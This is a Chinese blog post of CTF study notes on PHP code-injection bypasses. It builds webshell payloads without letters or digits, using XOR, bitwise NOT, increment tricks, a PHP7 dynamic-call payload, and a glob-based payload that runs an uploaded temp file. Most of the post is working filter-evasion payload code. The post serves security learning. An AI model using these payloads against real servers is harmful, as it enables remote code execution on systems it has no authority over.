代码注入绕过手札 taro Posted on Mar 17 2021 PHP 代码审计 命令注入/代码注入绕过是CTF中相当有趣的一个话题,学习了几位师傅的博客,总结一下 # 问题开始 借鉴p神的问题--->`构造不使用数字和字母的webshell` 源码: ```php <?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) { eval($_GET['shell']); } ``` # php5+php7 通用 ## 异或 `在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串` 我们在shell输出`php -a`中进入php交互式命令尝试一下 ``` php > echo"!"^"@"; a php > echo"a"^"@"; ! php > echo"!"^"a"; @ ``` 可见,`a`这个字符可由`!`和`@`异或获取到 这里需要补充一个定律 > 若存在 A^B=C 则一定有 C^B=A 所以我们可以通过这样的方式构造任意字符,以phpinfo举例 ``` php > echo urldecode('%01')^'`'; a php > echo urldecode('%02')^'`'; b php > echo urldecode('%10')^'`'; p ``` 可以构造出`phpinfo` ```php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); ``` ## 取反 > 利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母 ```php php > var_dump(~'和'); string(3) "ms" php > var_dump(~'和'{2}); string(1) "s" ``` 可以看出,对`和`这个字取反,生成三个字符(存在不可见字符),我们取第二个字符`s`,所以用`{2}`表示索引 ```php php > echo urlencode(~'phpinfo'); %8F%97%8F%96%91%99%90 ``` 我们也可以直接对代码进行取反,因为存在不可见字符所以需要`urlencode()`一下 注:[PHP弱类型的两种用法](https://taropowder.cn/blog/post/taro/PHP%E5%BC%B1%E7%B1%BB%E5%9E%8B%E5%88%B0%E6%95%B0%E5%AD%97%E5%88%B0%E5%AD%97%E7%AC%A6) ## 自增 > 递增/递减运算符 ¶ PHP 支持 C 风格的前/后递增与递减运算符。 Note: 递增/递减运算符不影响布尔值。递减 NULL 值也没有效果,但是递增 NULL 的结果是 1。 **递增/递减运算符** | 例子 | 名称 | 效果 | | ------ | ------ | ------ | | ++\$a | 前加 | \$a 的值加一,然后返回 $a。 | |\$a++ | 后加 | 返回 \$a,然后将 \$a 的值加一。| |--\$a | 前减 |\$a 的值减一, 然后返回 \$a。| |\$a-- | 后减 |返回 \$a,然后将 \$a 的值减一。| >数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 并且**在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array** ```php php > $_=[]; php > $_=@"$_"; php > echo $_; Array php > $_=$_['!'=='@']; php > echo $_; A php > $_++; php > echo $_; B ``` # php7 再次引用p神博客中的介绍 > php5中assert是一个函数,我们可以通过 \$f= 'assert';$f(...);这样的方法来动态执行任意代码。 但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。 可以利用到之前的`异或`,`取反`,`自增`三种方式,若`ban`掉`$`呢? >PHP7前是不允许用(\$a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。 SO,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示): ``` (~%8F%97%8F%96%91%99%90)(); ``` # php5 可将代码注入引申为命令注入 知识点 1. shell下可以利用.来执行任意脚本 2. Linux文件名支持用glob通配符代替 - `/tmp/phpXXXXXX`可以表示为`/*/?????????`或`/???/?????????` - glob支持用`[^x]`的方法来构造**这个位置不是字符x** - glob支持利用`[0-9]`来表示**一个范围** - 可以利用`[@-[]`来表示**大写字母** 3. PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母 最终payload ```php ?><?=`. /???/????????[@-[]`;?> ``` 并且post数据包中存在上传的文件 ---------- 只能算是科普性总结 详细过程参照ph师傅博客和这位师傅的wp [一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html) [无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html) [一道题回顾php异或webshell](https://xz.aliyun.com/t/5677) PHP命名空间 PHP弱类型到数字到字符